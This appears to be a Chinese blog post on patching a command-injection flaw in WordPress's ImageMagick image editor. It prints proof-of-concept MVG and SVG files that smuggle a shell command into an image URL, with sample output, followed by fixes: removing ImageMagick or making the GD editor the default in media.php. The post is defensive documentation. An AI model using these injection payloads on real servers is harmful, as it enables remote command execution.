# 手动修复 wordpress WP_Image_Editor_Imagick 指令注入漏洞

{{< admonition danger >}}
漏洞名称: wordpress WP_Image_Editor_Imagick 指令注入漏洞

漏洞地址: /wordpress/wp-includes/media.php

漏洞等级: 高危
{{< /admonition >}}

{{< admonition quote >}}
漏洞产生的原因是 ImageMagick 使用 system() 指令调用来处理 HTTPS 请求，而对用户传入的 shell 参数没有做好过滤，导致能注入任意指令执行。
{{< /admonition >}}

# Exploit

```js
exploit.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

exploit.svg
-=-=-=-=-=-=-=-=-
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="SVG namespace" xmlns:xlink=
"XLink namespace">
<image xlink:href="https://example.com/image.jpg&quot;|ls &quot;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
```

# 手动修复

1.临时方案，删了它。

```
rm -rf /usr/local/imagemagick/
```

\
2.替换GD库。

```
vim /wp-includes/media.php
```

把

```js
$implementations = apply_filters( 'wp_image_editors', array( 'WP_Image_Editor_Imagick' , 'WP_Image_Editor_GD' ) );
```

改成：

```js
$implementations = apply_filters( 'wp_image_editors', array( 'WP_Image_Editor_GD' ,'WP_Image_Editor_Imagick' ) );
```